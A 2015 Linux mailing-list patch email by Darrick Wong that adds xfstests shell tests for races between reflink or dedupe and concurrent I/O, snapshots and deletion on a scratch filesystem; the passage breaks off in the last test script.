1444194835-04cbb03f120dc60001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id gs8rOgHAhYa1qDHz (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:13:56 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975Dr5x020926 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:13:54 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t975Dr4t006307 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:13:53 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t975DrO2009081; Wed, 7 Oct 2015 05:13:53 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:13:52 -0700 Subject: [PATCH 07/12] reflink: concurrent operations tests From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 07/12] reflink: concurrent operations tests To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:13:51 -0700 Message-ID: <20151007051351.3260.25873.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194836 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Make sure that running reflink ops while other IO is ongoing doesn't break the filesystem. Signed-off-by: Darrick J. Wong --- tests/generic/821 | 96 ++++++++++++++++++++++++++++++++++++++++++++ tests/generic/821.out | 6 +++ tests/generic/822 | 96 ++++++++++++++++++++++++++++++++++++++++++++ tests/generic/822.out | 6 +++ tests/generic/823 | 94 +++++++++++++++++++++++++++++++++++++++++++ tests/generic/823.out | 6 +++ tests/generic/824 | 95 +++++++++++++++++++++++++++++++++++++++++++ tests/generic/824.out | 6 +++ tests/generic/825 | 108 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/825.out | 7 +++ tests/generic/826 | 108 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/826.out | 7 +++ tests/generic/827 | 98 ++++++++++++++++++++++++++++++++++++++++++++ tests/generic/827.out | 7 +++ tests/generic/828 | 98 ++++++++++++++++++++++++++++++++++++++++++++ tests/generic/828.out | 7 +++ tests/generic/829 | 84 ++++++++++++++++++++++++++++++++++++++ tests/generic/829.out | 6 +++ tests/generic/group | 9 ++++ 19 files changed, 944 insertions(+) create mode 100755 tests/generic/821 create mode 100644 tests/generic/821.out create mode 100755 tests/generic/822 create mode 100644 tests/generic/822.out create mode 100755 tests/generic/823 create mode 100644 tests/generic/823.out create mode 100755 tests/generic/824 create mode 100644 tests/generic/824.out create mode 100755 tests/generic/825 create mode 100644 tests/generic/825.out create mode 100755 tests/generic/826 create mode 100644 tests/generic/826.out create mode 100755 tests/generic/827 create mode 100644 tests/generic/827.out create mode 100755 tests/generic/828 create mode 100644 tests/generic/828.out create mode 100755 tests/generic/829 create mode 100644 tests/generic/829.out diff --git a/tests/generic/821 b/tests/generic/821 new file mode 100755 index 0000000..77393cb --- /dev/null +++ b/tests/generic/821 @@ -0,0 +1,96 @@ +#! /bin/bash +# FS QA Test No. 821 +# +# Test for race between direct I/O and reflink +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 7 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* + wait +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_scratch_reflink +_require_cp_reflink +_require_xfs_io_command "reflink" + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +loops=1024 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +iosize=$((BLKSZ * 16)) + +echo "Initialize files" +echo > $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((loops * iosize))" $TESTDIR/file2 >> $seqres.full + +# Direct I/O overwriter... +overwrite() { + while [ ! -e $TESTDIR/finished ]; do + dd if=/dev/zero of=$TESTDIR/file2 oflag=direct bs=$iosize count=$loops conv=notrunc 2> /dev/null + done +} + +echo "Reflink and dio write the target" +overwrite & +start=`expr $loops - 1` +for i in `seq $start -1 0` +do + $XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $((i * iosize)) $((i * iosize)) $iosize" $TESTDIR/file2 >> $seqres.full + [ $? -ne 0 ] && exit +done +touch $TESTDIR/finished +wait + +echo "Check for damage" +umount $SCRATCH_MNT +_check_scratch_fs + +echo "Done" + +# success, all done +status=0 +exit diff --git a/tests/generic/821.out b/tests/generic/821.out new file mode 100644 index 0000000..ca6bc53 --- /dev/null +++ b/tests/generic/821.out @@ -0,0 +1,6 @@ +QA output created by 821 +Format and mount +Initialize files +Reflink and dio write the target +Check for damage +Done diff --git a/tests/generic/822 b/tests/generic/822 new file mode 100755 index 0000000..6ee7a8c --- /dev/null +++ b/tests/generic/822 @@ -0,0 +1,96 @@ +#! /bin/bash +# FS QA Test No. 822 +# +# Test for race between buffered I/O and reflink +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 7 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* + wait +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_scratch_reflink +_require_cp_reflink +_require_xfs_io_command "reflink" + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +loops=1024 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +iosize=$((BLKSZ * 16)) + +echo "Initialize file" +echo > $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((loops * iosize))" $TESTDIR/file2 >> $seqres.full + +# Buffered I/O overwriter... +overwrite() { + while [ ! -e $TESTDIR/finished ]; do + dd if=/dev/zero of=$TESTDIR/file2 bs=$iosize count=$loops conv=notrunc 2> /dev/null + done +} + +echo "reflink while overwriting target" +overwrite & +start=`expr $loops - 1` +for i in `seq $start -1 0` +do + $XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $((i * iosize)) $((i * iosize)) $iosize" $TESTDIR/file2 >> $seqres.full + [ $? -ne 0 ] && exit +done +touch $TESTDIR/finished +wait + +echo "Check for damage" +umount $SCRATCH_MNT +_check_scratch_fs + +echo "Done" + +# success, all done +status=0 +exit diff --git a/tests/generic/822.out b/tests/generic/822.out new file mode 100644 index 0000000..4c86f97 --- /dev/null +++ b/tests/generic/822.out @@ -0,0 +1,6 @@ +QA output created by 822 +Format and mount +Initialize file +reflink while overwriting target +Check for damage +Done diff --git a/tests/generic/823 b/tests/generic/823 new file mode 100755 index 0000000..bf3a712 --- /dev/null +++ b/tests/generic/823 @@ -0,0 +1,94 @@ +#! /bin/bash +# FS QA Test No. 823 +# +# Test for race between buffered I/O while creating reflink snapshots +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 7 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* + wait +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_scratch_reflink +_require_cp_reflink +_require_xfs_io_command "reflink" + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +loops=1024 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +iosize=$((BLKSZ * 16)) + +echo "Initialize file" +echo > $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full + +# Snapshot creator... +snappy() { + n=0 + while [ ! -e $TESTDIR/finished ]; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/snap_$n || break + n=$((n + 1)) + done +} + +echo "Snapshot a file undergoing buffered rewrite" +snappy & +for i in `seq 1 5`; do + dd if=/dev/zero of=$TESTDIR/file1 bs=$iosize count=$loops conv=notrunc 2> /dev/null +done +touch $TESTDIR/finished +wait + +echo "Check for damage" +umount $SCRATCH_MNT +_check_scratch_fs + +echo "Done" + +# success, all done +status=0 +exit diff --git a/tests/generic/823.out b/tests/generic/823.out new file mode 100644 index 0000000..ef3e209 --- /dev/null +++ b/tests/generic/823.out @@ -0,0 +1,6 @@ +QA output created by 823 +Format and mount +Initialize file +Snapshot a file undergoing buffered rewrite +Check for damage +Done diff --git a/tests/generic/824 b/tests/generic/824 new file mode 100755 index 0000000..38737c6 --- /dev/null +++ b/tests/generic/824 @@ -0,0 +1,95 @@ +#! /bin/bash +# FS QA Test No. 824 +# +# Test for race between direct I/O while creating reflink snapshots +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 7 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* + wait +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_scratch_reflink +_require_cp_reflink +_require_xfs_io_command "reflink" + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +loops=1024 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +iosize=$((BLKSZ * 16)) + +echo "Initialize file" +echo > $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full + +# Snapshot creator... +snappy() { + n=0 + while [ ! -e $TESTDIR/finished ]; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/snap_$n || break + n=$((n + 1)) + done +} + +echo "Snapshot a file while directio rewriting it" +snappy & +touch $TESTDIR/running +for i in `seq 1 5`; do + dd if=/dev/zero of=$TESTDIR/file1 oflag=direct bs=$iosize count=$loops conv=notrunc 2> /dev/null +done +mv $TESTDIR/running $TESTDIR/finished +wait + +echo "Check for damage" +umount $SCRATCH_MNT +_check_scratch_fs + +echo "Done" + +# success, all done +status=0 +exit diff --git a/tests/generic/824.out b/tests/generic/824.out new file mode 100644 index 0000000..27c9bc0 --- /dev/null +++ b/tests/generic/824.out @@ -0,0 +1,6 @@ +QA output created by 824 +Format and mount +Initialize file +Snapshot a file while directio rewriting it +Check for damage +Done diff --git a/tests/generic/825 b/tests/generic/825 new file mode 100755 index 0000000..476527a --- /dev/null +++ b/tests/generic/825 @@ -0,0 +1,108 @@ +#! /bin/bash +# FS QA Test No. 825 +# +# Test for race between reflink and direct I/O reading the target file +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 7 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* + wait +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +# Modify as appropriate. +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_scratch_reflink +_require_cp_reflink +_require_xfs_io_command "reflink" + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +loops=512 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +iosize=$((BLKSZ * 16)) + +echo "Initialize files" +echo > $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((loops * iosize))" $TESTDIR/file2 >> $seqres.full +cp --reflink=always $TESTDIR/file1 $TESTDIR/file3 +sync + +reader() { + while [ ! -e $TESTDIR/finished ]; do + dd if=$TESTDIR/file3 iflag=direct 2> /dev/null | od -tx1 -Ax | while read addr rest; do + test -n "$rest" && echo "$rest" + done | egrep -v '(61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61|62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62)' + done +} + +echo "Reflink and dio reread the files!" +reader & +for i in `seq 1 2`; do + start=`expr $loops - 1` + for i in `seq $start -1 0` + do + $XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $((i * iosize)) $((i * iosize)) $iosize" $TESTDIR/file3 >> $seqres.full + [ $? -ne 0 ] && break + done + start=`expr $loops - 1` + for i in `seq $start -1 0` + do + $XFS_IO_PROG -f -c "reflink $TESTDIR/file2 $((i * iosize)) $((i * iosize)) $iosize" $TESTDIR/file3 >> $seqres.full + [ $? -ne 0 ] && break + done +done +echo "Finished reflinking" +touch $TESTDIR/finished +wait + +echo "Check fs" +umount $SCRATCH_MNT +_check_scratch_fs + +echo "Done" +# success, all done +status=0 +exit diff --git a/tests/generic/825.out b/tests/generic/825.out new file mode 100644 index 0000000..1e2f36c --- /dev/null +++ b/tests/generic/825.out @@ -0,0 +1,7 @@ +QA output created by 825 +Format and mount +Initialize files +Reflink and dio reread the files! +Finished reflinking +Check fs +Done diff --git a/tests/generic/826 b/tests/generic/826 new file mode 100755 index 0000000..1739778 --- /dev/null +++ b/tests/generic/826 @@ -0,0 +1,108 @@ +#! /bin/bash +# FS QA Test No. 826 +# +# Test for race between reflink and buffered I/O reading the target file +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 7 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* + wait +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +# Modify as appropriate. +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_scratch_reflink +_require_cp_reflink +_require_xfs_io_command "reflink" + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +loops=512 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +iosize=$((BLKSZ * 16)) + +echo "Initialize files" +echo > $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((loops * iosize))" $TESTDIR/file2 >> $seqres.full +cp --reflink=always $TESTDIR/file1 $TESTDIR/file3 +sync + +reader() { + while [ ! -e $TESTDIR/finished ]; do + cat $TESTDIR/file3 | od -tx1 -Ax | while read addr rest; do + test -n "$rest" && echo "$rest" + done | egrep -v '(61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61|62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62)' + done +} + +echo "Reflink and reread the files!" +reader & +for i in `seq 1 2`; do + start=`expr $loops - 1` + for i in `seq $start -1 0` + do + $XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $((i * iosize)) $((i * iosize)) $iosize" $TESTDIR/file3 >> $seqres.full + [ $? -ne 0 ] && break + done + start=`expr $loops - 1` + for i in `seq $start -1 0` + do + $XFS_IO_PROG -f -c "reflink $TESTDIR/file2 $((i * iosize)) $((i * iosize)) $iosize" $TESTDIR/file3 >> $seqres.full + [ $? -ne 0 ] && break + done +done +echo "Finished reflinking" +touch $TESTDIR/finished +wait + +echo "Check fs" +umount $SCRATCH_MNT +_check_scratch_fs + +echo "Done" +# success, all done +status=0 +exit diff --git a/tests/generic/826.out b/tests/generic/826.out new file mode 100644 index 0000000..144f4bc --- /dev/null +++ b/tests/generic/826.out @@ -0,0 +1,7 @@ +QA output created by 826 +Format and mount +Initialize files +Reflink and reread the files! +Finished reflinking +Check fs +Done diff --git a/tests/generic/827 b/tests/generic/827 new file mode 100755 index 0000000..fa2ba2e --- /dev/null +++ b/tests/generic/827 @@ -0,0 +1,98 @@ +#! /bin/bash +# FS QA Test No. 827 +# +# Test for race between dedupe and writing the source file +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 7 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* + wait +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +# Modify as appropriate. +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_scratch_reflink +_require_xfs_io_command "reflink" + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +loops=512 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +iosize=$((BLKSZ * 16)) + +echo "Initialize files" +echo > $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file2 >> $seqres.full +sync + +overwrite() { + while [ ! -e $TESTDIR/finished ]; do + $XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full + done +} + +echo "Dedupe and rewrite the file!" +overwrite & +for i in `seq 1 2`; do + start=`expr $loops - 1` + for i in `seq $start -1 0` + do + $XFS_IO_PROG -f -c "dedupe $TESTDIR/file1 $((i * iosize)) $((i * iosize)) $iosize" $TESTDIR/file2 >> $seqres.full + [ $? -ne 0 ] && break + done +done +echo "Finished dedupeing" +touch $TESTDIR/finished +wait + +echo "Check fs" +umount $SCRATCH_MNT +_check_scratch_fs + +echo "Done" +# success, all done +status=0 +exit diff --git a/tests/generic/827.out b/tests/generic/827.out new file mode 100644 index 0000000..1b05f59 --- /dev/null +++ b/tests/generic/827.out @@ -0,0 +1,7 @@ +QA output created by 827 +Format and mount +Initialize files +Dedupe and rewrite the file! +Finished dedupeing +Check fs +Done diff --git a/tests/generic/828 b/tests/generic/828 new file mode 100755 index 0000000..43b1682 --- /dev/null +++ b/tests/generic/828 @@ -0,0 +1,98 @@ +#! /bin/bash +# FS QA Test No. 828 +# +# Test for race between dedupe and writing the dest file +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 7 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* + wait +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +# Modify as appropriate. +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_scratch_reflink +_require_xfs_io_command "reflink" + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +loops=512 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +iosize=$((BLKSZ * 16)) + +echo "Initialize files" +echo > $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file2 >> $seqres.full +sync + +overwrite() { + while [ ! -e $TESTDIR/finished ]; do + $XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file2 >> $seqres.full + done +} + +echo "Dedupe and rewrite the file!" +overwrite & +for i in `seq 1 2`; do + start=`expr $loops - 1` + for i in `seq $start -1 0` + do + $XFS_IO_PROG -f -c "dedupe $TESTDIR/file1 $((i * iosize)) $((i * iosize)) $iosize" $TESTDIR/file2 >> $seqres.full + [ $? -ne 0 ] && break + done +done +echo "Finished dedupeing" +touch $TESTDIR/finished +wait + +echo "Check fs" +umount $SCRATCH_MNT +_check_scratch_fs + +echo "Done" +# success, all done +status=0 +exit diff --git a/tests/generic/828.out b/tests/generic/828.out new file mode 100644 index 0000000..fb31777 --- /dev/null +++ b/tests/generic/828.out @@ -0,0 +1,7 @@ +QA output created by 828 +Format and mount +Initialize files +Dedupe and rewrite the file! +Finished dedupeing +Check fs +Done diff --git a/tests/generic/829 b/tests/generic/829 new file mode 100755 index 0000000..76fe937 --- /dev/null +++ b/tests/generic/829 @@ -0,0 +1,84 @@ +#! /bin/bash +# FS QA Test No. 829 +# +# Test for race between delete a file while rewriting its reflinked twin +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 7 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* + wait +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +# Modify as appropriate. +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_scratch_reflink +_require_cp_reflink +_require_xfs_io_command "reflink" + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +loops=4096 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +iosize=$((BLKSZ * 16)) + +echo "Initialize files" +echo > $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full +cp --reflink=always $TESTDIR/file1 $TESTDIR/file2 +sync + +echo "Delete while rewriting" +rm -rf $TESTDIR/file1 & +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((loops * iosize))" $TESTDIR/file1 >> $seqres.full +wait + +echo "Check fs" +umount $SCRATCH_MNT 